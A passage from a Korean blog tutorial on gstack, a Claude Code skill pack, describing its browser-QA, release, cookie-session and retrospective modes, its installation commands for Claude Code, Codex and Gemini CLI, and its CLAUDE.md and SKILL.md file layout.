&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.5 QA Engineer 모드 &amp;mdash; /browse, /qa&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack의 가장 독특한 기술적 특징이 여기에 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;/browse&lt;/b&gt;는 Claude Code에 실제 &quot;눈&quot;을 달아주는 스킬이다. Playwright를 컴파일한 바이너리를 통해 Claude Code가 실제 브라우저를 조작하고 화면을 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;단순한 스크린샷이 아니다. Claude Code가 직접 버튼을 클릭하고, 폼을 입력하고, 네트워크 요청을 확인하며 QA 테스트를 수행한다. 개발자가 &quot;로그인 후 대시보드가 올바르게 표시되는지 확인해줘&quot;라고 요청하면, Claude Code가 실제 브라우저를 열어 테스트한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;/qa&lt;/b&gt;는 한 단계 더 나아간다. &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;diff-aware testing&lt;/b&gt;&lt;/span&gt; &amp;mdash; 코드 변경 사항을 분석해서, 변경으로 인해 영향받을 수 있는 페이지와 기능을 자동으로 식별하고, 그것들을 우선적으로 테스트한다. 변경하지 않은 기능까지 전수 테스트하는 낭비를 줄인다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;1088&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dWHaH6/dJMcacWQPVo/houKqK1Se2dCvtLktdTCHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dWHaH6/dJMcacWQPVo/houKqK1Se2dCvtLktdTCHk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dWHaH6/dJMcacWQPVo/houKqK1Se2dCvtLktdTCHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdWHaH6%2FdJMcacWQPVo%2FhouKqK1Se2dCvtLktdTCHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1996&quot; height=&quot;1088&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;1088&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #fff8e1; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #f5a623; margin: 20px 0;&quot;&gt;&lt;b&gt;/browse 사용 시 주의사항&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack 공식 가이드는 Chrome-specific MCP 도구 사용을 지양하고, 안정성과 속도를 위해 /browse 스킬 또는 &lt;code&gt;$B &amp;lt;command&amp;gt;&lt;/code&gt; 직접 바이너리 호출을 권장한다. /browse는 macOS와 Linux(x64/arm64)에서만 지원된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.6 Release Engineer 모드 &amp;mdash; /ship&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;/ship은 배포의 전 과정을 담당하는 Release Engineer 모드다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;단순히 `git push`가 아니라, 배포 전 체크리스트를 체계적으로 실행한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# /ship 실행 시 자동으로 수행하는 단계들 (예상되는 단계 흐름)
1. git sync &amp;mdash; 최신 upstream 변경사항 반영
2. 테스트 실행 &amp;mdash; 전체 테스트 스위트 통과 확인
3. 코드 리뷰 코멘트 처리 &amp;mdash; Greptile 및 팀원 코멘트 트리아지
4. PR 생성 &amp;mdash; 제목, 설명, 변경 사항 요약 자동 작성
5. 최종 푸시 &amp;mdash; 브랜치 푸시 및 PR 링크 출력&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.7 세션 매니저 &amp;mdash; /setup-browser-cookies&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;인증이 필요한 페이지를 테스트할 때 필요한 스킬이다. 실제 브라우저의 쿠키와 세션 정보를 가져와서, Claude Code의 /browse 스킬이 로그인된 상태로 테스트를 수행할 수 있게 한다. 관리자 페이지, 사용자 대시보드 등 로그인 후에만 접근 가능한 화면을 자동화 테스트할 때 사용한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.8 회고 매니저 &amp;mdash; /retro&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;/retro는 엔지니어링 매니저 역할로서 팀 회고를 생성한다. 단순한 템플릿 채우기가 아니라, 실제 팀 메트릭(배포 횟수, 버그 발생률, PR 리뷰 시간 등)을 기반으로 팀별, 개인별 맞춤 피드백을 작성한다. 스프린트 회고를 자동화하고 싶은 팀에게 유용하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 4: 설치 방법 ===== --&gt;
&lt;h2 id=&quot;section4&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 설치 및 셋업 방법 (단계별 가이드)&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack 설치는 Claude Code 내부에서 설치 커맨드를 붙여넣는 방식으로 진행된다. 설치 스크립트가 나머지를 자동으로 처리한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.1 사전 준비&lt;/h3&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 18px 22px; border-radius: 8px; border-left: 4px solid #ffc107; margin: 20px 0;&quot;&gt;&lt;b&gt;Claude Code가 처음이라면?&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack은 &lt;b&gt;Claude Code&lt;/b&gt;(Anthropic의 터미널 기반 AI 코딩 에이전트) 위에서 동작한다. &lt;br /&gt;Claude Code는 유료 구독이 필요하며, &lt;b&gt;Pro($20/월)&lt;/b&gt; 또는 &lt;b&gt;Max($100/월 또는 $200/월)&lt;/b&gt; 플랜에서 사용 가능하다 (2026년 3월 기준). API 키(종량제)로도 사용할 수 있다. Claude Code 자체의 설치/구독이 먼저 되어 있어야 gstack을 사용할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;설치 (공식 권장): &lt;code&gt;curl -fsSL &lt;a href=&quot;https://claude.ai/install.sh&quot;&gt;https://claude.ai/install.sh&lt;/a&gt; | bash&lt;/code&gt;&lt;br /&gt;또는 npm: &lt;code&gt;npm install -g @anthropic-ai/claude-code&lt;/code&gt; (deprecated, 아직 작동)&lt;br /&gt;공식 가이드: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://docs.anthropic.com/en/docs/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;docs.anthropic.com/en/docs/claude-code&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;&quot;슬래시 커맨드&quot;와 &quot;스킬&quot;이란?&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code에서 &lt;code&gt;/&lt;/code&gt;를 입력하면 사용 가능한 커맨드 목록이 나타난다. 이것이 &lt;b&gt;슬래시 커맨드&lt;/b&gt;다.&lt;br /&gt;&lt;b&gt;스킬(Skill)&lt;/b&gt;은 &lt;code&gt;~/.claude/skills/&lt;/code&gt; 디렉토리에 SKILL.md 파일로 정의되는 확장 기능이다. &lt;br /&gt;gstack을 설치하면 이 디렉토리에 29개의 스킬이 추가되어, &lt;code&gt;/office-hours&lt;/code&gt;, &lt;code&gt;/review&lt;/code&gt; 등의 새로운 슬래시 커맨드를 사용할 수 있게 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2296&quot; data-origin-height=&quot;1420&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pM42t/dJMcaa5O9tH/3Enwdu9ZG1LdH4NZKsRWFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pM42t/dJMcaa5O9tH/3Enwdu9ZG1LdH4NZKsRWFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pM42t/dJMcaa5O9tH/3Enwdu9ZG1LdH4NZKsRWFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpM42t%2FdJMcaa5O9tH%2F3Enwdu9ZG1LdH4NZKsRWFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2296&quot; height=&quot;1420&quot; data-origin-width=&quot;2296&quot; data-origin-height=&quot;1420&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;vala&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 1. Bun 설치 (아직 없다면)
curl -fsSL https://bun.sh/install | bash
# ⚠️ 설치 후 터미널을 재시작하거나 아래 명령어 실행:
source ~/.bashrc  # 또는 source ~/.zshrc (macOS 기본)

# 2. Bun 버전 확인
bun --version
# 1.0 이상이어야 함

# 3. Claude Code 설치 확인
claude --version
# 설치되어 있지 않다면: curl -fsSL https://claude.ai/install.sh | bash&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.2 글로벌 설치 (Claude Code &amp;mdash; 개인 사용)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;터미널에서 아래 커맨드를 실행한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;git clone 후 setup 스크립트가 브라우저 바이너리 컴파일과 설정을 자동 처리한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;gstack README&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Claude Code 글로벌 설치 (개인)
git clone --single-branch --depth 1 https://github.com/garrytan/gstack.git ~/.claude/skills/gstack &amp;amp;&amp;amp; \
cd ~/.claude/skills/gstack &amp;amp;&amp;amp; ./setup&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 12px 18px; border-radius: 6px; border-left: 4px solid #28a745; margin: 15px 0;&quot;&gt;&lt;b&gt;설치 성공 확인 방법&lt;/b&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;설치가 완료되면 Claude Code를 재시작하고 &lt;code&gt;/&lt;/code&gt;를 입력해본다. &lt;code&gt;/office-hours&lt;/code&gt;, &lt;code&gt;/review&lt;/code&gt; 등 gstack 스킬이 자동완성 목록에 나타나면 성공이다. 나타나지 않으면 &lt;code&gt;cd ~/.claude/skills/gstack &amp;amp;&amp;amp; ./setup&lt;/code&gt;을 다시 실행한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.3 프로젝트별 팀 설치&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;팀 전체가 같은 셋업을 사용하고 싶다면 프로젝트 레벨로 복사한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;바이너리와 의존성은 `.gitignore`에 추가되며, 팀원 각자가 setup 스크립트를 한 번씩 실행해서 로컬에 컴파일한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 프로젝트별 설치 (팀 공유)
cp -Rf ~/.claude/skills/gstack .claude/skills/gstack &amp;amp;&amp;amp; \
rm -rf .claude/skills/gstack/.git &amp;amp;&amp;amp; \
cd .claude/skills/gstack &amp;amp;&amp;amp; ./setup&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.4 Codex / Gemini CLI 설치 (신규)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack은 이제 Claude Code 외에도 &lt;b&gt;OpenAI Codex CLI&lt;/b&gt;, &lt;b&gt;Gemini CLI&lt;/b&gt;, &lt;b&gt;Cursor&lt;/b&gt;를 지원한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;SKILL.md 표준을 통해 호환되며, 설치 시 &lt;code&gt;--host&lt;/code&gt; 플래그로 대상을 지정한다. &lt;code&gt;--host auto&lt;/code&gt;를 사용하면 설치된 에이전트를 자동으로 감지한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: Factory Droid 지원은 CHANGELOG v0.13.8.0(2026-03-29)에서 공식 제거되었다. README에 일부 흔적이 남아 있으나 현재는 미지원이다.)&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Codex CLI 설치 (레포 로컬)
git clone --single-branch --depth 1 https://github.com/garrytan/gstack.git .agents/skills/gstack &amp;amp;&amp;amp; \
cd .agents/skills/gstack &amp;amp;&amp;amp; ./setup --host codex

# Codex CLI 설치 (유저 글로벌)
git clone --single-branch --depth 1 https://github.com/garrytan/gstack.git ~/gstack &amp;amp;&amp;amp; \
cd ~/gstack &amp;amp;&amp;amp; ./setup --host codex

# 에이전트 자동 감지 (Codex, Gemini, Cursor 등 설치된 것 자동 탐지)
git clone --single-branch --depth 1 https://github.com/garrytan/gstack.git ~/gstack &amp;amp;&amp;amp; \
cd ~/gstack &amp;amp;&amp;amp; ./setup --host auto&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #ffc107; margin: 20px 0;&quot;&gt;&lt;b&gt;⚠️ 설치 커맨드 최신 확인&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack은 빠르게 진화 중이다. 설치 방식이 업데이트될 수 있으므로 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 README&lt;/a&gt;에서 최신 커맨드를 확인하는 것을 권장한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 5: CLAUDE.md ===== --&gt;
&lt;h2 id=&quot;section5&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. CLAUDE.md 및 설정 파일 구조&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;CLAUDE.md란?&lt;/b&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;CLAUDE.md는 Claude Code가 프로젝트를 이해하는 데 사용하는 설정 파일이다. 프로젝트 루트 또는 &lt;code&gt;~/.claude/&lt;/code&gt; 디렉토리에 위치하며, 프로젝트 컨텍스트, 규칙, 사용 가능한 스킬 목록 등을 기술한다. Claude Code는 대화를 시작할 때 이 파일을 자동으로 읽어 컨텍스트로 활용한다. gstack을 설치하면 이 파일에 gstack 스킬 목록이 자동으로 추가된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack 설치 후 `~/.claude/` 또는 프로젝트의 `.claude/` 디렉토리 구조를 살펴보면 다음과 같다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;~/.claude/
├── CLAUDE.md                    # 메인 설정 파일 (gstack 스킬 목록 포함)
└── skills/
    └── gstack/
        ├── CLAUDE.md            # gstack 전용 개발 가이드
        ├── ARCHITECTURE.md      # 시스템 아키텍처 문서
        ├── BROWSER.md           # 브라우저 자동화 가이드
        ├── browse/              # Playwright 브라우저 CLI
        ├── qa/                  # QA 자동화 스킬
        ├── plan-ceo-review/     # CEO 리뷰 스킬
        │   └── SKILL.md
        ├── plan-eng-review/     # EM 리뷰 스킬
        │   └── SKILL.md
        ├── review/              # Staff Engineer 리뷰 스킬
        │   └── SKILL.md
        ├── ship/                # Release Engineer 스킬
        │   └── SKILL.md
        ├── setup-browser-cookies/
        │   └── SKILL.md
        ├── retro/
        │   └── SKILL.md
        └── .gstack/             # 세션 데이터 (병렬 실행 시)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;CLAUDE.md 설정 예시&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack이 설치되면 메인 `CLAUDE.md`에 스킬 목록이 자동으로 추가된다. 개발자가 직접 커스터마이징할 수 있는 형태는 대략 다음과 같다 (⚠️ 추정: 실제 형식은 공식 레포에서 확인):&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# CLAUDE.md (예시 &amp;mdash; ⚠️ 추정 기반 재구성)

## Project Context
[프로젝트 설명]

## gstack Skills
다음 슬래시 커맨드를 사용해 개발 워크플로우를 진행한다:

- /plan-ceo-review : 창업자 시각에서 문제 재정의 및 10배 솔루션 탐색
- /plan-eng-review : 아키텍처 확정, 데이터 플로우, 에지 케이스 정의
- /review          : Staff Engineer 수준의 프로덕션 버그 탐색
- /ship            : 싱크 &amp;rarr; 테스트 &amp;rarr; PR 생성 &amp;rarr; 배포
- /browse          : Playwright 브라우저로 실제 화면 확인
- /qa              : diff 기반 자동화 테스트
- /retro           : 팀 메트릭 기반 회고 생성

## Workflow Philosophy
Planning is not review. Review is not shipping.
Each skill activates a distinct cognitive mode &amp;mdash; do not blend them.

## Tech Stack
[프로젝트 기술 스택]

## Key Rules
- /browse 사용 시 Chrome MCP 도구 금지, gstack 바이너리 사용
- SKILL.md 파일은 템플릿에서 자동 생성 &amp;mdash; 직접 수정 금지&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;SKILL.md 파일 구조&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack의 중요한 내부 규칙이 있다: &lt;b&gt;SKILL.md 파일은 `.tmpl` 템플릿에서 자동 생성된다.&lt;/b&gt; 직접 편집하면 안 되고, 템플릿 파일을 수정한 후 생성 스크립트를 실행해야 한다. 이 구조는 일관성을 보장하고 실수를 방지한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;vala&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# SKILL.md 수정 방법 (올바른 방법)
# 1. 템플릿 파일 수정
# ⚠️ 아래는 추정 기반 예시 &amp;mdash; 실제 명령은 공식 레포 CONTRIBUTING.md 참조
vim plan-ceo-review/SKILL.md.tmpl

# SKILL.md 재생성 (정확한 명령은 레포에서 확인)
bun run gen:skill-docs  # 또는 다른 빌드 스크립트일 수 있음

# 틀린 방법 (하면 안 됨)
# vim plan-ceo-review/SKILL.md  &amp;larr; 직접 수정 금지&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 6: 병렬 실행 ===== --&gt;
&lt;h2 id=&quot;section6&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. Conductor와의 병렬 실행&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;1060&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/edBVEc/dJMcaaY2CAA/4mLyijyFOWmxnSrvcuhfy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/edBVEc/dJMcaaY2CAA/4mLyijyFOWmxnSrvcuhfy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/edBVEc/dJMcaaY2CAA/4mLyijyFOWmxnSrvcuhfy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FedBVEc%2FdJMcaaY2CAA%2F4mLyijyFOWmxnSrvcuhfy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1960&quot; height=&quot;1060&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;1060&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack은 단독으로도 강력하지만, &lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.conductor.build&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Conductor&lt;/a&gt;&lt;/b&gt;와 함께 사용할 때 진가를 발휘한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Conductor는 여러 Claude Code 세션을 격리된 워크스페이스에서 동시에 실행하는 도구다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(Garry Tan은 10~15개의 병렬 스프린트를 동시에 실행한다고 밝혔다.)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack + Conductor 조합으로 가능한 것:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;10개의 전문화된 Claude Code 세션 동시 실행&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;각 세션이 &lt;b&gt;독립된 브라우저 인스턴스&lt;/b&gt;와 쿠키를 갖고 있어 포트 충돌 없음&lt;/li&gt;
